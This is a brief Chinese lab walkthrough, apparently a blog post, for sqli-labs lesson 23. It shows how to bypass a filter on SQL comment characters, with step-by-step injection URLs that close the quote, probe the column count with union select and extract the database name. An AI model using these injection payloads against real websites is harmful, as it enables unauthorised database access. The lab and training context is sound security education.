19、绕过去除注释符(Get)

简介: 19、绕过去除注释符(Get)

环境sqli-labs

less 23

1、输入?id=1,正常运行

0a2653c851af460fa595bd959398a8f1.png

2、输入特殊字符报错

0eacb84100b54626af849e6b562bf92a.png

3、单引号闭合,但是发现# --+等都被过滤了

2d65d23f6d4748949b924e4057485923.png

4、使用下面代码闭合

192.168.1.121/sqli/less-23?id=1’ or ‘1’=‘1

5、用union select判断字段数

192.168.1.121/sqli/less-23?id=1’ union select 1,2,3 or ‘1’='1


6、让id报错,union select生效

192.168.1.121/sqli/less-23?id=-1’ union select 1,2,3 or ‘1’='1


2e9b90b2ca334476abebe75bafe6eeaa.png


7、获取数据库名称

192.168.1.121/sqli/less-23?id=-1’ union select 1,database(),3 or ‘1’='1


4cebaac233b3433da32a72337a77fc60.png


禁止非法,后果自负

目录
相关文章
|
8月前
|
数据库
小课堂 -- 绕过去除注释符(Get)
小课堂 -- 绕过去除注释符(Get)
43 0
|
人工智能 Java 机器人
掌握正则验证字串符,轻松搞定字符串匹配
正则验证字串符是一种强大的工具,可以帮助程序员在处理字符串时轻松进行复杂匹配。本文将介绍正则表达式的概念、语法和在编程中的应用,并通过实例演示如何使用正则表达式进行字符串匹配、替换和提取等操作。
|
4月前
|
开发框架 .NET 程序员
C# 去掉字符串最后一个字符的 4 种方法
在实际业务中,我们经常会遇到在循环中拼接字符串的场景,循环结束之后拼接得到的字符串的最后一个字符往往需要去掉,看看 C# 提供了哪4种方法可以高效去掉字符串的最后一个字符
407 0
|
3月前
|
数据库
sqlmap过滤连续空格的方法(一)
sqlmap过滤连续空格的方法(一)
|
3月前
|
Shell 网络安全 数据库
sqlmap过滤连续空格的方法(二)
sqlmap过滤连续空格的方法(二)
|
8月前
|
C语言 C++
每天一道C语言编程:(去掉:双斜杠注释,去掉空格)
每天一道C语言编程:(去掉:双斜杠注释,去掉空格)
53 0
|
Java
避免分割字符串的常见错误:正则表达式元字符未转义
在编程和文本处理中,我们经常需要将一个字符串按照特定的分隔符拆分成多个部分。为了实现这一目标,我们使用分割函数或正则表达式来定义我们所需的分隔符。 在 Java 的 String 类的 split() 函数中,如果你使用字符串参数作为分隔符,例如 split(","),它会按照每个字符作为分隔符进行字符串拆分。
113 0
|
8月前
|
人工智能 自然语言处理 Java
想要搞定正则验证字串符?用这个办法最简单,质量还高!
在编程中,字符串的处理是不可避免的一部分。我们经常需要验证用户输入的数据、提取文本信息、替换特定字符等等。在这些场景中,正则验证字串符(Regex Validation)为我们提供了一种高效、灵活的处理方式。
Java字符串去掉空格的几种方法
Java字符串去掉空格的几种方法
|
开发者 Perl
正则表达式中的模式修正符S和M 妙用!
教你如何正确使用正则表达式中的模式修正符S和M!
74 0
正则表达式中的模式修正符S和M 妙用!

热门文章

最新文章